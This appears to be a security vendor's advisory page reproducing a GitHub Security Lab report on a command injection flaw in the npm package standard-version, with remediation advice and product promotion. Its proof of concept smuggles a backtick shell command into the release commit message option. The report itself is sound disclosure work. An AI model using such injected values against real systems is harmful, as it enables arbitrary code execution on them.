GHSA-7xcx-6wjh-7xp2
GHSA-7xcx-6wjh-7xp2 is a remote code execution vulnerability in standard-version. O3 Security confirms whether GHSA-7xcx-6wjh-7xp2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Command Injection in standard-version
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
standard-versionnpmDescription
GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-111
The GitHub Security Lab team has identified a potential security vulnerability in standard-version.
Summary
The standardVersion function has a command injection vulnerability. Clients of the standard-version library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.
Product
Standard Version
Tested Version
Commit 2f04ac8
Details
Issue 1: Command injection in standardVersion
The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:
npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"
Now create a file with the following contents:
var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');
const standardVersion = require('standard-version')
standardVersion({
noVerify: true,
infile: 'foo.txt',
releaseCommitMessageFormat: "bla `touch exploit`"
})
and run it:
node test.js
Notice that a file named exploit has been created.
This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.
We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the standard-version project here.
Impact
This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
Remediation
We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.
Credit
This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).
Contact
You can contact the GHSL team at [email protected], please include GHSL-2020-111 in any communication regarding this issue.
Disclosure Policy
This report is subject to our coordinated disclosure policy.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | standard-version | all versions | 8.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for standard-version. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update standard-version to 8.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7xcx-6wjh-7xp2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7xcx-6wjh-7xp2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7xcx-6wjh-7xp2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7xcx-6wjh-7xp2 in your dependencies?
O3 detects GHSA-7xcx-6wjh-7xp2 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.